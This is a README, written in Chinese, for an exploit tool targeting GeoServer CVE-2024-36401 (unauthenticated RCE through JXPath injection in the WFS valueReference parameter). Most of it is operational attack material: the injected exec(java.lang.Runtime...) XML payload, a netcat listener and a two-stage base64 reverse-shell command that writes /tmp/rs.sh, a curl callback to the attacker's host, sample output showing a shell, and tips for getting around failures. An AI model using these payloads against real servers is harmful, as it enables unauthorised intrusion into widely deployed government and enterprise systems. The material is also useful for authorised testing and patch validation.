针对 GeoServer 的未认证远程代码执行漏洞利用,通过 OGC 过滤器 valueReference 参数注入(XPath/JXPath 求值)。
免责声明: 此工具仅用于授权的渗透测试和安全研究。不得在未经明确书面许可的情况下对不属于您的系统使用。作者不对因使用此工具而导致的误用或损害承担任何责任。
GeoServer 是一个用于共享地理空间数据的开源 Java 服务器,广泛部署于政府、企业和研究环境中。CVE-2024-36401 允许未认证攻击者通过将 Java 表达式注入 OGC(开放地理空间联盟)过滤器参数,在主机上执行任意操作系统命令。
该漏洞于 2024 年 7 月被列入 CISA 已知被利用漏洞(KEV)目录,原因是已在野外被积极利用。
| 分支 | 受影响范围 | 修复版本 |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
旧于 2.23.0 的 GeoServer 版本也可能受影响,但已停止维护且未经测试。
GeoServer 使用 GeoTools 库来评估 OGC 过滤器表达式。valueReference 参数(以及其他类似 CQL_FILTER 的参数)被传递给 Apache Commons JXPath 的 JXPathContext.selectNodes(),未经过滤。
JXPath 支持通过诸如以下表达式调用任意 Java 方法:
exec(java.lang.Runtime.getRuntime(), 'id')
对于某些端点,该求值过程在检查认证之前就已发生,因此漏洞是完全未认证的。
易受攻击的端点:
POST /geoserver/wfs — 使用 valueReference 的 GetPropertyValue 请求GET /geoserver/ows — 通过查询字符串传递相同参数关键技术点: valueReference 表达式必须使用单引号(')包裹命令字符串。双引号(")会导致 XML 解析失败并阻止执行——这是其他公开 PoC 中常见的陷阱。
requests 库sf、topp、tiger 已足够)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
或者直接安装依赖:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help 显示此帮助信息并退出
-t, --target TARGET 目标 URL,例如 http://<TARGET>:8080
-l, --lhost LHOST 用于反弹 Shell 回连的 IP 地址
-p, --lport LPORT 监听端口(默认:4444)
-c, --cmd CMD 要执行的单条命令(无输出返回)
-f, --feature FEATURE 覆盖要素类型(若省略则自动检测)
| 模式 | 标志 | 描述 |
|---|---|---|
| 反弹 Shell | -l LHOST -p LPORT | 通过 bash 的两阶段反弹 Shell |
| 命令执行 | -c CMD | 执行单条命令(盲注——无输出) |
| 要素类型覆盖 | -f FEATURE | 跳过自动检测,使用指定类型 |
首先启动监听器:
nc -lvnp 4444
然后运行漏洞利用程序:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
预期输出:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath 注入 RCE | CVE-2024-36401
未认证 | CVSS 9.8 | 影响版本 < 2.25.2 / 2.24.4 / 2.23.6
[*] 目标 : http://<TARGET>:8080
[+] 检测到 GeoServer — 版本: 2.24.2
[+] 版本 2.24.2 存在漏洞
[*] 探测要素类型...
[+] 要素类型: sf:archsites
[*] 要素类型 : sf:archsites
[*] 监听器 : <LHOST>:4444
[*] 启动 : nc -lvnp 4444
[*] 阶段 1 — 在目标上写入 /tmp/rs.sh...
[+] 已通过 sf:archsites 传送载荷
[*] 阶段 2 — 执行 → <LHOST>:4444
[+] 完成 — 检查您的监听器
在监听器上:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
执行命令但不接收输出。适用于带外验证或放置文件:
# 通过创建文件验证执行
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# 触发 curl 回调以确认执行
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
注意:包含 Shell 元字符(
>、|、&、;)的命令会自动进行 Base64 编码以避免解析问题。
如果自动检测失败,请提供目标上的已知要素类型:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
GeoServer 示例数据中包含的常用要素类型:
| 工作区 | 要素类型 |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
该漏洞利用程序发送一个带有恶意 valueReference 表达式的 GetPropertyValue WFS 请求:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
对于反弹 Shell,采用两阶段方法以避免 exec() 单字符串参数中的 Shell 元字符问题:
阶段 1 — 使用 Base64 编码和 Shell 花括号扩展(exec 字符串中不含空格)将反弹 Shell 写入 /tmp/rs.sh:
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
阶段 2 — 执行脚本:
bash /tmp/rs.sh
这种方法避免在第一个 exec() 调用中需要 Shell 解释器,使其在不同系统配置下均能可靠运行。
[-] 无法连接到目标
curl http://<TARGET>:8080/geoserver/web/[-] 未找到可用的要素类型
-f <workspace>:<type> 指定自定义要素类型curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] 载荷已传送 但未收到 Shell
LHOST:LPORT") —— 这不起作用。请确保在 valueReference 表达式中使用单引号 (')。[!] 版本 X.X.X 可能已修补 — 仍尝试执行
本项目基于 MIT 许可证发布。详情请参阅 LICENSE 文件。